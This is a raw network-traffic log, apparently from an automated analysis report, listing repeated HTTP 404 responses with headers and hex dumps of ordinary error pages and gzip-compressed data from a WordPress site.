Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:19:24 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:19:27 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:19:29 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:19:32 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:19:39 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:19:41 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:19:44 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:19:46 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:20:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://nakama2-sshl.xyz/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 31 38 63 34 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 5c 7b 93 23 d5 75 ff 7b a7 8a ef d0 68 0c d2 10 b5 5a ad c7 bc 56 33 ce f2 72 a8 c2 40 60 89 8b 2c 5b 53 ad 56 4b ea d9 56 b7 dc dd 9a 07 cb 56 ed cc 60 17 60 1c b0 0d 26 04 c7 b1 89 0d 6b b0 89 09 54 8a 00 09 df 25 cd ec b2 7f e5 2b e4 77 ee bd dd ea 6e b5 46 1a 69 96 24 55 4c ed ce 48 f7 71 5e f7 9c 73 cf 3d 7d 6e 37 ee 7e f0 f1 07 2e 3e f3 c4 43 52 d7 ef 59 9b 0b 8d bb 65 f9 92 d9 96 2c 5f 7a e4 21 69 e5 32 5a a8 43 d2 2d cd f3 36 72 a6 b1 9c 93 2c cd ee 6c e4 b6 b5 dc a6 d4 b8 fb 92 61 b7 cc f6 65 59 1e ce cd 9c b8 32 d5 bc d5 51 84 93 e7 75 18 ad 98 4a c4 87 04 47 44 86 a4 e7 36 17 ce d1 80 04 c9 e7 1a 5d 43 6b 49 7d d7 68 9b 7b 1b 39 a7 b3 0e 39 f8 fd 75 45 71 3a fd 52 cf 50 6c 6f 51 6a 37 47 5b 95 76 73 51 d2 5c df d4 2d 23 a3 57 f4 2c 12 d2 73 8d 9e e1 6b 92 de d5 5c cf f0 37 72 4f 5f 7c 58 5e cd 49 c3 1e 5b eb 19 1b b9 1d d3 d8 ed 3b ae 9f 93 74 c7 f6 0d 1b 23 77 cd 96 df dd 68 19 3b a6 6e c8 ec 4b d1 b4 4d df d4 2c d9 d3 35 cb d8 50 4b e5 e2 c0 33 5c f6 55 6b a2 c5 76 8a 21 20 b9 6d fa 1b ba b3 63 b8 31 2a 38 ae b6 e3 f6 34 5f 6e 19 be a1 fb a6 63 c7 70 fa 86 65 f4 bb 8e 4d a0 38 91 e0 00 3f 9c 09 3e dd 75 9a 8e ef c5 26 d9 8e 69 b7 8c bd 62 db b1 2c 67 97 a1 23 be 2d d3 be 22 b9 86 b5 91 d3 2c df 70 6d cd 37 72 92 bf df 07 b7 5a bf 6f 99 ba 46 c8 15 d7 f3 fe 62 af 67 a1 cb f4 c1 42 ee d6 fb 07 b7 de fa ec e6 f5 f7 6e bf fd cf 5f 1f 7c 22 3d f9 d4 53 d2 c3 86 d1 ca 49 5d ac d3 46 4e ac 90 ad 5d d1 7a 5a 45 f6 bc ae 55 da db 7f 4e 69 b3 31 0a 13 ec 10 75 df b4 3b 4d 4d bf 32 69 36 28 70 fb 7a a9 df ed 8b b5 49 58 c2 1a 14 13 1c 79 ba 6b f6 7d c9 73 f5 f1 64 ec f6 65 b1 82 8a df 35 7a 86 a7 68 ed 36 88 30 dc ba b2 ed 29 64 4e 75 af 6b ee 94 b6 bd dc 66 43 e1 20 19 f4 b8 31 a5 64 9e e7 32 cf 47 ca 91 ef 69 7b b2 d9 d3 3a 86 0c ed a5 35 5f b7 34 b7 63 e4 25 08 a0 c1 24 b9 59 2b d7 24 39 25 cd 86 c2 fb 16 86 ab 93 6f d9 1e 01 69 1b be de cd 73 21 e7 15 25 2d 5f 0e 39 12 ec 98 59 da b6 b6 57 ea 38 4e c7 32 b4 be e9 95 74 a7 97 9e e8 f9 fb 96 e1 75 0d c3 cf 4b 66 6b 23 0f 81 35 2d 47 bf 22 5b 66 d3 d5 dc 7d 59 f7 bc bc 24 e8 18 b7 d8 98 64 da ba 35 68 41 be 18 af b4 4c cf 57 12 60 14 86 a7 d4 33 ed 12 06 7c 17 76 b0 51 2f ad 95 aa 79 ae 82 79 df d8 f3 69 6a 5e ea 19 2d 53 db c8 6b 96 c5 49 65 13 19 69 1d cb 69 92 b5 31 8a 81 10 dc 1b 9c 3c a6 c6 43 18 9b 0b 4d a7 b5 7f 55 96 41 17 c9 12 96 2e 43 0d 2c c7 95 c1 1c d4 6f 5d 5a 2c b3 9f f3 99 63 f4 7d cd c6 c0 81 e9 75 e5 8e ab ed 63 b8 d6 6c ae ea d5 ec e1 bb 5d d3 87 df 59 6c b3 9f ec 31 7d 78 08 19 da 4f a8 db 2b ab 2d 6d 25 7b dc 8e b9 63 Data Ascii: 18c4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:20:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://nakama2-sshl.xyz/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 31 38 63 34 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 5c 7b 93 23 d5 75 ff 7b a7 8a ef d0 68 0c d2 10 b5 5a ad c7 bc 56 33 ce f2 72 a8 c2 40 60 89 8b 2c 5b 53 ad 56 4b ea d9 56 b7 dc dd 9a 07 cb 56 ed cc 60 17 60 1c b0 0d 26 04 c7 b1 89 0d 6b b0 89 09 54 8a 00 09 df 25 cd ec b2 7f e5 2b e4 77 ee bd dd ea 6e b5 46 1a 69 96 24 55 4c ed ce 48 f7 71 5e f7 9c 73 cf 3d 7d 6e 37 ee 7e f0 f1 07 2e 3e f3 c4 43 52 d7 ef 59 9b 0b 8d bb 65 f9 92 d9 96 2c 5f 7a e4 21 69 e5 32 5a a8 43 d2 2d cd f3 36 72 a6 b1 9c 93 2c cd ee 6c e4 b6 b5 dc a6 d4 b8 fb 92 61 b7 cc f6 65 59 1e ce cd 9c b8 32 d5 bc d5 51 84 93 e7 75 18 ad 98 4a c4 87 04 47 44 86 a4 e7 36 17 ce d1 80 04 c9 e7 1a 5d 43 6b 49 7d d7 68 9b 7b 1b 39 a7 b3 0e 39 f8 fd 75 45 71 3a fd 52 cf 50 6c 6f 51 6a 37 47 5b 95 76 73 51 d2 5c df d4 2d 23 a3 57 f4 2c 12 d2 73 8d 9e e1 6b 92 de d5 5c cf f0 37 72 4f 5f 7c 58 5e cd 49 c3 1e 5b eb 19 1b b9 1d d3 d8 ed 3b ae 9f 93 74 c7 f6 0d 1b 23 77 cd 96 df dd 68 19 3b a6 6e c8 ec 4b d1 b4 4d df d4 2c d9 d3 35 cb d8 50 4b e5 e2 c0 33 5c f6 55 6b a2 c5 76 8a 21 20 b9 6d fa 1b ba b3 63 b8 31 2a 38 ae b6 e3 f6 34 5f 6e 19 be a1 fb a6 63 c7 70 fa 86 65 f4 bb 8e 4d a0 38 91 e0 00 3f 9c 09 3e dd 75 9a 8e ef c5 26 d9 8e 69 b7 8c bd 62 db b1 2c 67 97 a1 23 be 2d d3 be 22 b9 86 b5 91 d3 2c df 70 6d cd 37 72 92 bf df 07 b7 5a bf 6f 99 ba 46 c8 15 d7 f3 fe 62 af 67 a1 cb f4 c1 42 ee d6 fb 07 b7 de fa ec e6 f5 f7 6e bf fd cf 5f 1f 7c 22 3d f9 d4 53 d2 c3 86 d1 ca 49 5d ac d3 46 